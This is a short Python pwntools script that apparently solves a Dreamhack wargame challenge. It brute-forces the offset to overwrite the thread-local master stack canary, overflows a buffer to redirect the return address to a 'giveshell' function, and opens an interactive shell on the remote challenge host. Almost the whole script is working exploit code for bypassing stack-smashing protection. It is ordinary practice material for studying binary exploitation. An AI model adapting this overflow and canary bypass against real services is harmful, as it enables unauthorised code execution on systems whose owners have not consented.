n = 0x120
while n<0x1000:
    p = remote("host3.dreamhack.games", 10514)

    payload = b'A'*0x118 # buf + DUMMY + SFP
    payload += p64(giveshell) # RET
    payload += b'A'*(n-len(payload))
    payload += p64(0x404f80-0x972) # valid address for fs:0x10 + 0x972
    payload += b'B'*0x10 # DUMMY
    payload += b'A'*8 # Master Canary

    bufsize = len(payload) // 8

    p.sendlineafter("Size: ", str(bufsize))
    p.sendafter("Data: ", payload)
    try:
        p.sendline("ls")
        if b'smashing' in p.recv(100):
            raise Exception()
    except:
        print("n: {} failed. sorry...".format(n))
        n += 8
        continue
    p.interactive()